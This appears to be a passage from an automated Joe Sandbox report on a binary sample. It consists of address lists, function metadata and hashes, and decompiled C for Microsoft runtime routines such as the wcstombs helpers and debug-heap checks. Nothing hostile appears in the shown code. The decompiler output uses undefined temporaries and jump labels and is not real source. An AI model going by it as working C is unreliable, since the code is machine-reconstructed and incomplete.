0x00000000
0x00427843
0x00000000
0x0042783f
0x004277dc
0x004277dc
0x004277df
0x004277e6
0x00000000
0x004277e8
0x004277eb
0x004277ee
0x004277f1
0x004277f4
0x004277fa
0x00000000
0x004277fa
0x004277e6
0x004277ab
0x004277ab
0x004277ae
0x004277b5
0x00000000
0x004277b7
0x004277ba
0x004277bd
0x004277c0
0x004277c3
0x004277c9
0x00000000
0x004277c9
0x00000000
0x00427854
0x00427857
0x0042785a
0x00000000
0x00000000
0x00427771
0x00427771
0x00427774
0x0042777a
0x00427792
0x00427795
0x00427798
0x0042777c
0x0042777f
0x00427782
0x00427788
0x0042778d
0x0042778d
0x00000000
0x00000000
0x0042785f
0x00427862
0x00427867
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00427672
0x00427675
0x00427678
0x00000000
0x00000000
0x0042767d
0x00427680
0x00427685
0x00000000
0x00000000
0x00427667
0x00427667
0x0042766a
0x0042766d
0x00000000
0x00000000
0x0042765c
0x0042765f
0x00427662
0x00000000
0x00000000
0x0042768a
0x0042768a
0x0042768d
0x00427690
0x00000000
0x00000000
0x00427693
0x00000000
0x00000000
0x004274ed
0x004282be
0x004282c4
0x004282cd
0x004282d2
0x00000000
0x004282d2
0x004280bd
0x004280c3
0x004280cd
0x004280e2
0x004280f7
0x004280f9
0x004280fd
0x004280fd
0x004280e4
0x004280e4
0x004280e8
0x004280e8
0x004280cf
0x004280cf
0x004280d3
0x004280d3
0x004280cd
0x0042810d
0x00428119
0x0042812f
0x00428134
0x00428134
0x0042814a
0x0042814f
0x00428158
0x00428176
0x0042817b
0x0042817b
0x00428182
0x00428256
0x00428269
0x0042826e
0x00000000
0x00428192
0x00428192
0x00428192
0x0042819f
0x004281a8
0x004281ae
0x004281ae
0x004281bd
0x004281c5
0x00000000
0x00000000
0x004281cb
0x004281d4
0x004281f3
0x004281f8
0x004281fb
0x0042820a
0x00428217
0x00428222
0x00428222
0x00000000
0x0042822e
0x0042822e
0x00428247
0x0042824c
0x00000000
0x0042824c
0x00428217
0x00428254
0x00428271
0x00428278
0x00428296
0x0042829b
0x0042829b
0x00000000
0x00428278
0x0042786f
0x0042786f
0x00427876
0x0042787c
0x00427882
0x00427885
0x0042788b
0x0042789e
0x0042789e
0x004278a5
0x00000000
0x00427bff
0x00427bff
0x00427c06
0x00427c0d
0x00427c10
0x00000000
0x00000000
0x004278ac
0x004278af
0x004278b5
0x004278ba
0x004278bf
0x004278bf
0x00000000
0x00000000
0x004279ec
0x004279ef
0x004279f4
0x004279f9
0x004279ff
0x004279ff
0x00000000
0x00000000
0x00427dcc
0x00427dcc
0x00000000
0x00000000
0x00427956
0x00427956
0x00427962
0x0042796f
0x0042797d
0x0042797d
0x00427983
0x00427986
0x00427992
0x004279e7
0x00000000
0x004279e7
0x00427971
0x00427971
0x0042797b
0x00427997
0x0042799a
0x004279a0
0x004279c8
0x004279cf
0x004279d5
0x004279d8
0x004279db
0x004279e1
0x004279e4
0x004279a2
0x004279a2
0x004279a8
0x004279ab
0x004279ae
0x004279b4
0x004279b7
0x004279ba
0x004279bc
0x004279bf
0x004279bf
0x00000000
0x004279a0
0x00000000
0x00000000
0x00427c16
0x00427c19
0x00427c1c
0x00427c1f
0x00427c25
0x00427c28
0x00427c33
0x00427c3e
0x00427c42
0x00427c59
0x00427c60
0x00427c62
0x00427c62
0x00427c69
0x00427c70
0x00427c81
0x00427c90
0x00427c97
0x00427cad
0x00427c99
0x00427c99
0x00427c9c
0x00427ca2
0x00427ca8
0x00427ca8
0x00427c97
0x00427cb7
0x00427cba
0x00427cbd
0x00427cc0
0x00427cc0
0x00427cc3
0x00427cc3
0x00427cc6
0x00427ccc
0x00427cd2
0x00427cda
0x00427cdb
0x00427cde
0x00427cdf
0x00427ce2
0x00427ce3
0x00427cea
0x00427ceb
0x00427cee
0x00427cef
0x00427cf2
0x00427cf3
0x00427cf9
0x00427cfa
0x00427d08
0x00427d0a
0x00427d10
0x00427d16
0x00427d1e
0x00427d26
0x00427d27
0x00427d2a
0x00427d2b
0x00427d39
0x00427d3b
0x00427d3b
0x00427d3e
0x00427d48
0x00427d4d
0x00427d53
0x00427d55
0x00427d5d
0x00427d5e
0x00427d61
0x00427d62
0x00427d71
0x00427d73
0x00427d73
0x00427d53
0x00427d76
0x00427d79
0x00427d7f
0x00427d84
0x00427d8a
0x00427d90
0x00427d93
0x00427d93
0x00427d96
0x00427da2
0x00000000
0x00427da2
0x00427c44
0x00427c44
0x00427c4e
0x00000000
0x00000000
0x00427c50
0x00427c50
0x00000000
0x00427c50
0x00427c35
0x00427c35
0x00000000
0x00000000
0x004278c2
0x004278c5
0x004278cb
0x00427926
0x0042792e
0x00427935
0x0042793b
0x00427941
0x004278cd
0x004278cd
0x004278d7
0x004278db
0x004278e3
0x004278ea
0x004278f7
0x004278fe
0x0042790a
0x00427917
0x00427919
0x00427919
0x00427920
0x00427948
0x0042794e
0x00000000
0x00000000
0x00427daa
0x00427dad
0x00427db0
0x00427db3
0x00000000
0x00000000
0x00427b08
0x00427b08
0x00427b14
0x00427b21
0x00427bcb
0x00427bce
0x00427bd1
0x00427be5
0x00427beb
0x00427bf1
0x00427bd3
0x00427bd3
0x00427be0
0x00427be0
0x00427bf3
0x00000000
0x00427bf3
0x00427b27
0x00427b27
0x00427b29
0x00427b37
0x00427b2b
0x00427b2b
0x00427b2b
0x00427b41
0x00427b47
0x00427b54
0x00427b56
0x00427b5b
0x00427b5d
0x00427b62
0x00427b67
0x00427b69
0x00427b6e
0x00427b74
0x00427b76
0x00427b76
0x00427b74
0x00427b7e
0x00427bc6
0x00000000
0x00427b80
0x00427b80
0x00427b85
0x00427ba1
0x00427ba9
0x00427bb3
0x00427bb6
0x00427bbb
0x00000000
0x00427bbb
0x00000000
0x00427e0d
0x00427e0d
0x00427e17
0x00427e1d
0x00427e22
0x00427e28
0x00427e28
0x00000000
0x00000000
0x00427dc5
0x00427dc5
0x00000000
0x00000000
0x00427a02
0x00427a06
0x00427a14
0x00427a17
0x00427a08
0x00427a08
0x00427a08
0x00427a1d
0x00427a23
0x00427a29
0x00427a35
0x00427a3b
0x00427a41
0x00427aa8
0x00427aac
0x00427aae
0x00427ab4
0x00427ab4
0x00427ab7
0x00427aba
0x00427ac0
0x00427ac0
0x00427ac0
0x00427acc
0x00427acf
0x00427ad7
0x00000000
0x00000000
0x00427ad9
0x00427ad9
0x00427adf
0x00427ae4
0x00000000
0x00000000
0x00427ae6
0x00427aec
0x00427aef
0x00427aef
0x00427af7
0x00427afd
0x00427b00
0x00000000
0x00427a43
0x00427a43
0x00427a47
0x00427a49
0x00427a4e
0x00427a4e
0x00427a51
0x00427a58
0x00427a5b
0x00427a61
0x00427a61
0x00427a61
0x00427a6d
0x00427a70
0x00427a78
0x00000000
0x00000000
0x00427a7a
0x00427a7a
0x00427a80
0x00427a85
0x00000000
0x00000000
0x00427a87
0x00427a8d
0x00427a90
0x00427a90
0x00427a98
0x00427a9e
0x00427aa1
0x00427aa3
0x00427b03
0x00000000
0x00427b03
0x00000000
0x00000000
0x00000000
0x00427dd8
0x00427dd8
0x00427de2
0x00427de2
0x00427dec
0x00427df2
0x00427df4
0x00427dfe
0x00427e01
0x00427e04
0x00427e04
0x00000000
0x00000000
0x00000000
0x00000000
0x004278a5
0x004280b3
0x004280b3
0x004280b3
0x004280b3
0x004280b3
0x004280b3
0x004280b3
0x00427f10
0x00427f07
0x00427e2b
0x00427e2b
0x00427e2b

APIs

_get_int64_arg.LIBCMTD ref: 00427E39
_get_int64_arg.LIBCMTD ref: 00427E61
__aullrem.LIBCMT ref: 00428006
__aulldiv.LIBCMT ref: 00428028

Strings

9, xrefs: 00428039

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: cd2cfd6f4318f5a0225f11cb0a853ca8bb39c7e2334494b0ad3806e4e6a6f94f
Instruction ID: 58a9e180d1c032be2ce50dc8e6e12569fdf0923e98caa3bce0d089d698196f47
Opcode Fuzzy Hash: cd2cfd6f4318f5a0225f11cb0a853ca8bb39c7e2334494b0ad3806e4e6a6f94f
Instruction Fuzzy Hash: D9411671E08229DFDB64DF48DA89BAEB7B5BF84304F5045DAE409A7241C7389E80CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0041CA5E, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 40COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041CAED
__free_base.LIBCMTD ref: 0041CAF9

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041CA6A
_pLastBlock == pHead, xrefs: 0041CA5E

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: __free_base_memset
String ID: _pLastBlock == pHead$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 2669475236-449961717
Opcode ID: ce29ca4761b46ffd7e64525b5fd4c5b5eb950736fb4645536be23fbc868670eb
Instruction ID: 8846b1769032c741b6e6f4eb783999b436ebf60198e1af5b9a13860a80e495ec
Opcode Fuzzy Hash: ce29ca4761b46ffd7e64525b5fd4c5b5eb950736fb4645536be23fbc868670eb
Instruction Fuzzy Hash: 8E01F778A40108EBC700CB54DDC1B6EB3B1BF88308F348299E5056B381D675EE51DB59

Uniqueness

Uniqueness Score: -1.00%

Function 00437226, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00437226(intOrPtr __ebx, void* __edx, intOrPtr __edi, intOrPtr __esi) {
				intOrPtr* _t155;
				signed int* _t157;
				signed int _t162;
				intOrPtr* _t179;
				intOrPtr _t201;
				void* _t220;
				intOrPtr _t221;
				void* _t222;
				intOrPtr _t240;
				intOrPtr _t247;
				intOrPtr _t290;
				intOrPtr _t291;
				signed int _t292;
				void* _t294;

				_t291 = __esi;
				_t290 = __edi;
				_t221 = __ebx;
				if( *(_t292 + 0x10) != 0) {
					 *(_t292 - 0x30) = 0 |  *(_t292 + 0xc) != 0x00000000;
					if( *(_t292 - 0x30) == 0) {
						_push(L"pwcs != NULL");
						_push(0);
						_push(0x66);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
						_push(2);
						_t220 = L0041E410();
						_t294 = _t294 + 0x14;
						if(_t220 == 1) {
							asm("int3");
						}
					}
					if( *(_t292 - 0x30) != 0) {
						_t274 =  *(_t292 + 0x14);
						L0041ADD0(_t292 - 0x20,  *(_t292 + 0x14));
						if( *(_t292 + 8) == 0) {
							_t155 = E0041AEE0(_t292 - 0x20);
							_t225 =  *_t155;
							if( *((intOrPtr*)( *_t155 + 0x14)) != 0) {
								_t227 = _t292 - 0x20;
								_t157 = E0041AEE0(_t292 - 0x20);
								_t274 =  *_t157;
								 *(_t292 - 4) = WideCharToMultiByte( *( *_t157 + 4), 0,  *(_t292 + 0xc), 0xffffffff, 0, 0, 0, _t292 - 0x10);
								if( *(_t292 - 4) == 0 ||  *(_t292 - 0x10) != 0) {
									 *((intOrPtr*)(L00422F00(_t227))) = 0x2a;
									 *(_t292 - 0x68) = 0xffffffff;
									E0041AEB0(_t292 - 0x20);
									_t162 =  *(_t292 - 0x68);
								} else {
									 *(_t292 - 0x6c) =  *(_t292 - 4) - 1;
									E0041AEB0(_t292 - 0x20);
									_t162 =  *(_t292 - 0x6c);
								}
							} else {
								_t274 =  *(_t292 + 0xc);
								 *(_t292 - 0x64) = E0042DBF0(_t225,  *(_t292 + 0xc));
								E0041AEB0(_t292 - 0x20);
								_t162 =  *(_t292 - 0x64);
							}
						} else {
							if( *((intOrPtr*)( *((intOrPtr*)(E0041AEE0(_t292 - 0x20))) + 0x14)) != 0) {
								if( *((intOrPtr*)( *((intOrPtr*)(E0041AEE0(_t292 - 0x20))) + 0xac)) != 1) {
									_t240 =  *((intOrPtr*)(E0041AEE0(_t292 - 0x20)));
									_t274 =  *(_t240 + 4);
									 *(_t292 - 4) = WideCharToMultiByte( *(_t240 + 4), 0,  *(_t292 + 0xc), 0xffffffff,  *(_t292 + 8),  *(_t292 + 0x10), 0, _t292 - 0x10);
									if( *(_t292 - 4) == 0 ||  *(_t292 - 0x10) != 0) {
										if( *(_t292 - 0x10) != 0 || GetLastError() != 0x7a) {
											 *((intOrPtr*)(L00422F00(_t240))) = 0x2a;
											 *(_t292 - 0x4c) = 0xffffffff;
											E0041AEB0(_t292 - 0x20);
											_t162 =  *(_t292 - 0x4c);
										} else {
											while( *(_t292 - 4) <  *(_t292 + 0x10)) {
												_t179 = E0041AEE0(_t292 - 0x20);
												_t247 =  *((intOrPtr*)(E0041AEE0(_t292 - 0x20)));
												_t274 =  *(_t247 + 4);
												 *((intOrPtr*)(_t292 - 0xc)) = WideCharToMultiByte( *(_t247 + 4), 0,  *(_t292 + 0xc), 1, _t292 - 0x2c,  *( *_t179 + 0xac), 0, _t292 - 0x10);
												if( *((intOrPtr*)(_t292 - 0xc)) == 0 ||  *(_t292 - 0x10) != 0) {
													 *((intOrPtr*)(L00422F00(_t247))) = 0x2a;
													 *(_t292 - 0x50) = 0xffffffff;
													E0041AEB0(_t292 - 0x20);
													_t162 =  *(_t292 - 0x50);
												} else {
													if( *((intOrPtr*)(_t292 - 0xc)) < 0 ||  *((intOrPtr*)(_t292 - 0xc)) > 5) {
														 *((intOrPtr*)(L00422F00(_t247))) = 0x2a;
														 *(_t292 - 0x54) = 0xffffffff;
														E0041AEB0(_t292 - 0x20);
														_t162 =  *(_t292 - 0x54);
													} else {
														if( *(_t292 - 4) +  *((intOrPtr*)(_t292 - 0xc)) <=  *(_t292 + 0x10)) {
															 *(_t292 - 8) = 0;
															while( *(_t292 - 8) <  *((intOrPtr*)(_t292 - 0xc))) {
																( *(_t292 + 8))[ *(_t292 - 4)] =  *((intOrPtr*)(_t292 +  *(_t292 - 8) - 0x2c));
																_t274 =  &(( *(_t292 + 8))[ *(_t292 - 4)]);
																if(( *(_t292 + 8))[ *(_t292 - 4)] != 0) {
																	 *(_t292 - 8) =  *(_t292 - 8) + 1;
																	 *(_t292 - 4) =  *(_t292 - 4) + 1;
																	continue;
																}
																 *(_t292 - 0x5c) =  *(_t292 - 4);
																E0041AEB0(_t292 - 0x20);
																_t162 =  *(_t292 - 0x5c);
																goto L55;
															}
															_t274 =  &(( *(_t292 + 0xc))[1]);
															 *(_t292 + 0xc) =  &(( *(_t292 + 0xc))[1]);
															continue;
														}
														 *(_t292 - 0x58) =  *(_t292 - 4);
														E0041AEB0(_t292 - 0x20);
														_t162 =  *(_t292 - 0x58);
													}
												}
												goto L55;
											}
											 *(_t292 - 0x60) =  *(_t292 - 4);
											E0041AEB0(_t292 - 0x20);
											_t162 =  *(_t292 - 0x60);
										}
									} else {
										 *(_t292 - 0x48) =  *(_t292 - 4) - 1;
										E0041AEB0(_t292 - 0x20);
										_t162 =  *(_t292 - 0x48);
									}
									goto L55;
								}
								if( *(_t292 + 0x10) > 0) {
									 *(_t292 + 0x10) = E00437690( *(_t292 + 0xc),  *(_t292 + 0x10));
								}
								_t274 =  *(_t292 + 0xc);
								_t201 =  *((intOrPtr*)(E0041AEE0(_t292 - 0x20)));
								_t260 =  *(_t201 + 4);
								 *(_t292 - 4) = WideCharToMultiByte( *(_t201 + 4), 0,  *(_t292 + 0xc),  *(_t292 + 0x10),  *(_t292 + 8),  *(_t292 + 0x10), 0, _t292 - 0x10);
								if( *(_t292 - 4) == 0 ||  *(_t292 - 0x10) != 0) {
									 *((intOrPtr*)(L00422F00(_t260))) = 0x2a;
									 *(_t292 - 0x44) = 0xffffffff;
									E0041AEB0(_t292 - 0x20);
									_t162 =  *(_t292 - 0x44);
								} else {
									if( *((char*)( &(( *(_t292 + 8))[ *(_t292 - 4)]) - 1)) == 0) {
										 *(_t292 - 4) =  *(_t292 - 4) - 1;
									}
									_t274 =  *(_t292 - 4);
									 *(_t292 - 0x40) =  *(_t292 - 4);
									E0041AEB0(_t292 - 0x20);
									_t162 =  *(_t292 - 0x40);
								}
								goto L55;
							} else {
								goto L10;
							}
							while(1) {
								L10:
								_t265 =  *(_t292 - 4);
								if( *(_t292 - 4) >=  *(_t292 + 0x10)) {
									break;
								}
								_t274 =  *(_t292 + 0xc);
								if(( *( *(_t292 + 0xc)) & 0x0000ffff) <= 0xff) {
									( *(_t292 + 8))[ *(_t292 - 4)] =  *( *(_t292 + 0xc));
									_t274 =  *( *(_t292 + 0xc)) & 0x0000ffff;
									 *(_t292 + 0xc) =  &(( *(_t292 + 0xc))[1]);
									if(( *( *(_t292 + 0xc)) & 0x0000ffff) != 0) {
										_t274 =  *(_t292 - 4) + 1;
										 *(_t292 - 4) =  *(_t292 - 4) + 1;
										continue;
									}
									 *(_t292 - 0x38) =  *(_t292 - 4);
									E0041AEB0(_t292 - 0x20);
									_t162 =  *(_t292 - 0x38);
									goto L55;
								}
								 *((intOrPtr*)(L00422F00(_t265))) = 0x2a;
								 *(_t292 - 0x34) = 0xffffffff;
								E0041AEB0(_t292 - 0x20);
								_t162 =  *(_t292 - 0x34);
								goto L55;
							}
							 *(_t292 - 0x3c) =  *(_t292 - 4);
							E0041AEB0(_t292 - 0x20);
							_t162 =  *(_t292 - 0x3c);
						}
					} else {
						 *((intOrPtr*)(L00422F00(_t222))) = 0x16;
						_t162 = E00422C90(_t221, _t222, _t290, _t291, L"pwcs != NULL", L"_wcstombs_l_helper", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x66, 0) | 0xffffffff;
					}
					goto L55;
				} else {
					_t162 = 0;
					L55:
					return E0042BD50(_t162, _t221,  *(_t292 - 0x24) ^ _t292, _t274, _t290, _t291);
				}
			}

0x00437226
0x00437226
0x00437226
0x0043722a
0x0043723c
0x00437243
0x00437245
0x0043724a
0x0043724c
0x0043724e
0x00437253
0x00437255
0x0043725a
0x00437260
0x00437262
0x00437262
0x00437260
0x00437267
0x00437297
0x0043729e
0x004372a7
0x004375de
0x004375e3
0x004375e9
0x0043761b
0x0043761e
0x00437623
0x0043762f
0x00437636
0x00437643
0x00437649
0x00437653
0x00437658
0x0043765d
0x00437663
0x00437669
0x0043766e
0x0043766e
0x004375eb
0x004375eb
0x004375f7
0x004375fd
0x00437602
0x00437602
0x004372ad
0x004372bb
0x00437365
0x00437431
0x00437433
0x0043743d
0x00437444
0x00437469
0x0043747b
0x00437481
0x0043748b
0x00437490
0x00437498
0x00437498
0x004374ad
0x004374cf
0x004374d1
0x004374db
0x004374e2
0x004374ef
0x004374f5
0x004374ff
0x00437504
0x0043750c
0x00437510
0x0043751d
0x00437523
0x0043752d
0x00437532
0x0043753a
0x00437543
0x0043755b
0x00437576
0x0043758b
0x00437590
0x00437598
0x0043756a
0x00437573
0x00000000
0x00437573
0x0043759d
0x004375a3
0x004375a8
0x00000000
0x004375a8
0x004375b5
0x004375b8
0x00000000
0x004375b8
0x00437548
0x0043754e
0x00437553
0x00437553
0x00437510
0x00000000
0x004374e2
0x004375c3
0x004375c9
0x004375ce
0x004375ce
0x0043744c
0x00437452
0x00437458
0x0043745d
0x0043745d
0x00000000
0x00437444
0x0043736f
0x00437381
0x00437381
0x00437396
0x004373a4
0x004373a6
0x004373b0
0x004373b7
0x004373f1
0x004373f7
0x00437401
0x00437406
0x004373bf
0x004373cb
0x004373d3
0x004373d3
0x004373d6
0x004373d9
0x004373df
0x004373e4
0x004373e4
0x00000000
0x00000000
0x00000000
0x00000000
0x004372c1
0x004372c1
0x004372c1
0x004372c7
0x00000000
0x00000000
0x004372c9
0x004372d4
0x00437303
0x00437308
0x00437311
0x00437316
0x00437331
0x00437334
0x00000000
0x00437334
0x0043731b
0x00437321
0x00437326
0x00000000
0x00437326
0x004372db
0x004372e1
0x004372eb
0x004372f0
0x00000000
0x004372f0
0x0043733c
0x00437342
0x00437347
0x00437347
0x00437269
0x0043726e
0x0043728f
0x0043728f
0x00000000
0x0043722c
0x0043722c
0x0043767b
0x00437688
0x00437688

APIs

__invalid_parameter.LIBCMTD ref: 00437287

Strings

_wcstombs_l_helper, xrefs: 0043727D
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 0043724E, 00437278
pwcs != NULL, xrefs: 00437245, 00437282

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: __invalid_parameter
String ID: _wcstombs_l_helper$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c$pwcs != NULL
API String ID: 3730194576-2632876063
Opcode ID: b492b0aedd17dd80bf65a2e853ba41457b663f78efbd6f913cc80486625b811f
Instruction ID: b8fef70abaf224bc58b198edd3444ddd7825ee56ccfb0f61a65706d2d5dbef2d
Opcode Fuzzy Hash: b492b0aedd17dd80bf65a2e853ba41457b663f78efbd6f913cc80486625b811f
Instruction Fuzzy Hash: 20F02870F88318AAEB302F209D43B6F32605718768F10156FF845341C2D7FE0650864D

Uniqueness

Uniqueness Score: -1.00%

Function 00437705, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E00437705(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				signed int _t85;
				intOrPtr _t86;
				void* _t91;
				signed int _t95;
				void* _t103;
				void* _t110;
				void* _t111;
				void* _t112;
				signed int _t121;
				signed int _t123;
				signed int _t127;
				signed int _t128;
				signed int _t129;
				signed int _t132;
				signed int _t134;
				signed int _t140;
				void* _t142;
				void* _t143;
				void* _t144;
				void* _t146;
				void* _t147;

				_t143 = __esi;
				_t142 = __edi;
				_t112 = __ecx;
				_t111 = __ebx;
				if( *(_t144 + 0x10) > 0 ||  *(_t144 + 0xc) == 0 &&  *(_t144 + 0x10) == 0) {
					 *((intOrPtr*)(_t144 - 0x1c)) = 1;
				} else {
					 *((intOrPtr*)(_t144 - 0x1c)) = 0;
				}
				 *((intOrPtr*)(_t144 - 0x10)) =  *((intOrPtr*)(_t144 - 0x1c));
				if( *((intOrPtr*)(_t144 - 0x10)) == 0) {
					_push(L"(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)");
					_push(0);
					_push(0x133);
					_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
					_push(2);
					_t110 = L0041E410();
					_t146 = _t146 + 0x14;
					if(_t110 == 1) {
						asm("int3");
					}
				}
				if( *((intOrPtr*)(_t144 - 0x10)) != 0) {
					__eflags =  *(_t144 + 0xc);
					if( *(_t144 + 0xc) != 0) {
						_t128 =  *(_t144 + 0xc);
						 *_t128 = 0;
						__eflags =  *(_t144 + 0x10) - 0xffffffff;
						if( *(_t144 + 0x10) != 0xffffffff) {
							__eflags =  *(_t144 + 0x10) - 0x7fffffff;
							if( *(_t144 + 0x10) != 0x7fffffff) {
								__eflags =  *(_t144 + 0x10) - 1;
								if( *(_t144 + 0x10) > 1) {
									__eflags =  *0x440208 -  *(_t144 + 0x10) - 1; // 0xffffffff
									if(__eflags >= 0) {
										_t128 =  *(_t144 + 0x10) - 1;
										__eflags = _t128;
										 *(_t144 - 0x20) = _t128;
									} else {
										_t127 =  *0x440208; // 0xffffffff
										 *(_t144 - 0x20) = _t127;
									}
									__eflags =  *(_t144 + 0xc) + 1;
									E0041B5A0(_t142,  *(_t144 + 0xc) + 1, 0xfe,  *(_t144 - 0x20));
									_t146 = _t146 + 0xc;
								}
							}
						}
					}
					__eflags =  *(_t144 + 8);
					if( *(_t144 + 8) != 0) {
						_t128 =  *(_t144 + 8);
						 *_t128 = 0;
					}
					__eflags =  *(_t144 + 0x18) -  *(_t144 + 0x10);
					if( *(_t144 + 0x18) <=  *(_t144 + 0x10)) {
						_t128 =  *(_t144 + 0x18);
						 *(_t144 - 0x24) = _t128;
					} else {
						 *(_t144 - 0x24) =  *(_t144 + 0x10);
					}
					 *(_t144 - 8) =  *(_t144 - 0x24);
					__eflags = 0x7fffffff -  *(_t144 - 8);
					asm("sbb edx, edx");
					_t129 = _t128 + 1;
					__eflags = _t129;
					 *(_t144 - 0x14) = _t129;
					if(_t129 == 0) {
						_push(L"bufferSize <= INT_MAX");
						_push(0);
						_push(0x13f);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
						_push(2);
						_t103 = L0041E410();
						_t146 = _t146 + 0x14;
						__eflags = _t103 - 1;
						if(_t103 == 1) {
							asm("int3");
						}
					}
					__eflags =  *(_t144 - 0x14);
					if( *(_t144 - 0x14) != 0) {
						_t115 =  *(_t144 + 0xc);
						_t85 = L00437200(_t111,  *(_t144 - 8), _t142, _t143,  *(_t144 + 0xc),  *((intOrPtr*)(_t144 + 0x14)),  *(_t144 - 8),  *((intOrPtr*)(_t144 + 0x1c)));
						_t147 = _t146 + 0x10;
						 *(_t144 - 0xc) = _t85;
						__eflags =  *(_t144 - 0xc) - 0xffffffff;
						if( *(_t144 - 0xc) != 0xffffffff) {
							_t132 =  *(_t144 - 0xc) + 1;
							 *(_t144 - 0xc) = _t132;
							__eflags =  *(_t144 + 0xc);
							if( *(_t144 + 0xc) == 0) {
								L56:
								__eflags =  *(_t144 + 8);
								if( *(_t144 + 8) != 0) {
									 *( *(_t144 + 8)) =  *(_t144 - 0xc);
								}
								_t86 =  *((intOrPtr*)(_t144 - 4));
								goto L59;
							}
							__eflags =  *(_t144 - 0xc) -  *(_t144 + 0x10);
							if( *(_t144 - 0xc) <=  *(_t144 + 0x10)) {
								L55:
								_t134 =  *(_t144 + 0xc) +  *(_t144 - 0xc);
								__eflags = _t134;
								 *((char*)(_t134 - 1)) = 0;
								goto L56;
							}
							__eflags =  *(_t144 + 0x18) - 0xffffffff;
							if( *(_t144 + 0x18) == 0xffffffff) {
								L54:
								 *(_t144 - 0xc) =  *(_t144 + 0x10);
								 *((intOrPtr*)(_t144 - 4)) = 0x50;
								goto L55;
							}
							 *( *(_t144 + 0xc)) = 0;
							__eflags =  *(_t144 + 0x10) - 0xffffffff;
							if( *(_t144 + 0x10) != 0xffffffff) {
								__eflags =  *(_t144 + 0x10) - 0x7fffffff;
								if( *(_t144 + 0x10) != 0x7fffffff) {
									__eflags =  *(_t144 + 0x10) - 1;
									if( *(_t144 + 0x10) > 1) {
										__eflags =  *0x440208 -  *(_t144 + 0x10) - 1; // 0xffffffff
										if(__eflags >= 0) {
											_t121 =  *(_t144 + 0x10) - 1;
											__eflags = _t121;
											 *(_t144 - 0x2c) = _t121;
										} else {
											_t95 =  *0x440208; // 0xffffffff
											 *(_t144 - 0x2c) = _t95;
										}
										_t132 =  *(_t144 - 0x2c);
										__eflags =  *(_t144 + 0xc) + 1;
										E0041B5A0(_t142,  *(_t144 + 0xc) + 1, 0xfe, _t132);
										_t147 = _t147 + 0xc;
									}
								}
							}
							_t119 =  *(_t144 + 0x10);
							__eflags =  *(_t144 - 0xc) -  *(_t144 + 0x10);
							asm("sbb edx, edx");
							 *(_t144 - 0x18) =  ~_t132;
							if( *(_t144 - 0xc) ==  *(_t144 + 0x10)) {
								_push(L"sizeInBytes > retsize");
								_push(0);
								_push(0x157);
								_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
								_push(2);
								_t91 = L0041E410();
								_t147 = _t147 + 0x14;
								__eflags = _t91 - 1;
								if(_t91 == 1) {
									asm("int3");
								}
							}
							__eflags =  *(_t144 - 0x18);
							if( *(_t144 - 0x18) != 0) {
								goto L54;
							} else {
								 *((intOrPtr*)(L00422F00(_t119))) = 0x22;
								E00422C90(_t111, _t119, _t142, _t143, L"sizeInBytes > retsize", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x157, 0);
								_t86 = 0x22;
								goto L59;
							}
						} else {
							__eflags =  *(_t144 + 0xc);
							if( *(_t144 + 0xc) != 0) {
								 *( *(_t144 + 0xc)) = 0;
								__eflags =  *(_t144 + 0x10) - 0xffffffff;
								if( *(_t144 + 0x10) != 0xffffffff) {
									__eflags =  *(_t144 + 0x10) - 0x7fffffff;
									if( *(_t144 + 0x10) != 0x7fffffff) {
										__eflags =  *(_t144 + 0x10) - 1;
										if( *(_t144 + 0x10) > 1) {
